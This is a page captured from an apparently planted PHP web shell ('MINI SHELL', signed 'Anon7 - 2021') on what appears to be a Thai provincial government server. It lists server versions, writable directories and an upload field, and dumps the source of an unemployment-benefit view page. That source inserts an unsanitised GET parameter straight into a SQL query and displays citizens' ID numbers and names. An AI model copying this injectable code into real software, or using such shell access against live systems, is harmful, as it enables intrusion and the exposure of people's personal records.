MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /home/pathumthani_integration/integration/application/labor/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/pathumthani_integration/integration/application/labor/labor_surety_view.php
<? include_once("../../config/config_epm.inc.php"); ?>
<script>
/*function checkQuantity(MyID, maxValue){
	var q = document.getElementById(MyID);
	if(parseInt(q.value)>maxValue){
		alert("กรุณาตรวจสอบตัวเลขที่กรอก\nตัวเลขอาจเกินกว่าความเป็นจริง");
	}
}
function open_win(win_file, win_title)
{
window.open(win_file, win_title, 'resizable=yes,width=900,height=500,toolbar=no,scrollbars=yes,location=no,menubar=no,status=no');
}*/
function Inint_AJAX() {
   try { return new ActiveXObject("Msxml2.XMLHTTP");  } catch(e) {} //IE
   try { return new ActiveXObject("Microsoft.XMLHTTP"); } catch(e) {} //IE
   try { return new XMLHttpRequest();          } catch(e) {} //Native Javascript
   alert("XMLHttpRequest not supported");
   return null;
}

function chkAmphur(e) {
	//alert(e.id);
     var req = Inint_AJAX();
	 var sec = document.getElementById(e.id).options[document.getElementById(e.id).options.selectedIndex].value;
     req.onreadystatechange = function () { 
          if (req.readyState==4) {
               if (req.status==200) {
			   		//alert(req.responseText);
                    document.getElementById('AmphurCHK').innerHTML=req.responseText; //รับค่ากลับมา
               } 
          }
     };
     req.open("GET", "ajax_chkAmphur.php?varChk="+sec); //สร้าง connection
     req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded;charset=tis-620"); // set Header
     req.send(null); //ส่งค่า
}

function chkTambol(e) {
	//alert(e.id);
     var req = Inint_AJAX();
	 var sec = document.getElementById(e.id).options[document.getElementById(e.id).options.selectedIndex].value;
     req.onreadystatechange = function () { 
          if (req.readyState==4) {
               if (req.status==200) {
			   		//alert(req.responseText);
                    document.getElementById('TambolCHK').innerHTML=req.responseText; //รับค่ากลับมา
               } 
          }
     };
     req.open("GET", "ajax_chkTambol.php?varChk="+sec); //สร้าง connection
     req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded;charset=tis-620"); // set Header
     req.send(null); //ส่งค่า
}

function chkAmphur1(e) {
	//alert(e.id);
     var req = Inint_AJAX();
	 var sec = document.getElementById(e.id).options[document.getElementById(e.id).options.selectedIndex].value;
     req.onreadystatechange = function () { 
          if (req.readyState==4) {
               if (req.status==200) {
			   		//alert(req.responseText);
                    document.getElementById('AmphurCHKnow').innerHTML=req.responseText; //รับค่ากลับมา
               } 
          }
     };
     req.open("GET", "ajax_chkAmphur1.php?varChk="+sec); //สร้าง connection
     req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded;charset=tis-620"); // set Header
     req.send(null); //ส่งค่า
}

function chkTambol1(e) {
	//alert(e.id);
     var req = Inint_AJAX();
	 var sec = document.getElementById(e.id).options[document.getElementById(e.id).options.selectedIndex].value;
     req.onreadystatechange = function () { 
          if (req.readyState==4) {
               if (req.status==200) {
			   		//alert(req.responseText);
                    document.getElementById('TambolCHKnow').innerHTML=req.responseText; //รับค่ากลับมา
               } 
          }
     };
     req.open("GET", "ajax_chkTambol1.php?varChk="+sec); //สร้าง connection
     req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded;charset=tis-620"); // set Header
     req.send(null); //ส่งค่า
}


function IsNumeric(input){    
		var RE = /^-?(0|INF|(0[1-7][0-7]*)|(0x[0-9a-fA-F]+)|((0|[1-9][0-9]*|(?=[\.,]))([\.,][0-9]+)?([eE]-?\d+)?))$/;    
			return (RE.test(input));  
	} 
	 
	function Script_checkID(id) {
		if(!IsNumeric(id)) return false;
		if(id.length != 13) return false;
		for(i=0, sum=0; i < 12; i++)
		sum += parseFloat(id.charAt(i))*(13-i);
		if((11-sum%11)%10!=parseFloat(id.charAt(12))){ 
			return false;
		}else{
			return true;
		}
	}
	//รูปแบบของเลขประจำตัวประชาชน
	function fmtPIN(Obj, event) {
			var charCode = (event.which) ? event.which : event.keyCode;
				if(charCode!=8){
					if ( Obj.value.length == 1 || Obj.value.length == 6 || Obj.value.length == 12 || Obj.value.length == 15 ) {
						Obj.value = Obj.value + "-";
					}
				}
		
	}
	function chkRude( data ) {
		var wordrude = new Array ( "-" );
		var wordchange = "";
		for ( n = 0 ; n < wordrude.length ; n++ ) {
			pattern = new RegExp( wordrude[n] , "gi" );
			data = data.replace( pattern , wordchange );
		}
		return data;
	}
	function chgPin(pin){
		var chg_pin = document.getElementById('chg_pin');
		var pin = chkRude(pin);
		if(Script_checkID(pin)==false){
			chg_pin.innerHTML = '<img src="images/delete.gif" border="0" height="15"/>';
		}else{
			chg_pin.innerHTML = '<img src="images/check.png" border="0" height="15"/>';
		}
	}

</script>
<? $sql= "SELECT *  FROM labor_surety  WHERE  run_id ='".$_GET['code']."'  ";	
       $rsHeader = mysql_db_query($dbname,$sql);
	   $Result_Header = mysql_fetch_assoc($rsHeader);	?>
<style type="text/css">
<!--
.style1 {font-weight: bold}
-->
</style>
  
       
<table width="101%" border="0" cellspacing="5" cellpadding="0">
   <tr bgcolor="#0066FF">
      <td><strong>ข้อมูลผู้ขอรับประโยชน์ทดแทนกรณีว่างงาน</strong></td>
  </tr>
  <tr>
    <td><table width="100%" border="0" cellpadding="3" cellspacing="0">
      <tr>
            <td width="18%" height="24" align="left"  valign="top"><span class="style1">*</span><strong>เลขประจำตัวประชาชน</strong></td>
            <td width="82%" align="left"><?=$Result_Header[id_card]?>
  <span id="chg_pin"></span></td>
      </tr>
      <tr>
            <td height="24" align="left"  valign="top"><span class="style1">*</span><strong>ชื่อ</strong></td>
            <td align="left"><?=$Result_Header[prename]?>&nbsp;&nbsp;<?=$Result_Header[fname]?>&nbsp;&nbsp;<?=$Result_Header[lname]?>
            
  
                       </td>
      </tr>
      <tr>
            <td height="24" align="left"  valign="top"><strong>ยื่นคำขอในฐานะ</strong></td>
            <td align="left">
                <? if($Result_3['poverty_reg']=='1') {
                echo   "ผู้ประกันตนกรณีว่างงาน";
             }else {
             echo "ผู้มีสิทธิ ระบุชื่อผู้ประกันตนกรณีว่างงาน ชื่อ".$Result_Header[prename2]."  ". $Result_Header[fname2]."  ".$Result_Header[lname2]  ;
             }?>
								
              </td>
      </tr>
      
    </table></td>
  </tr>
</table>

Anon7 - 2021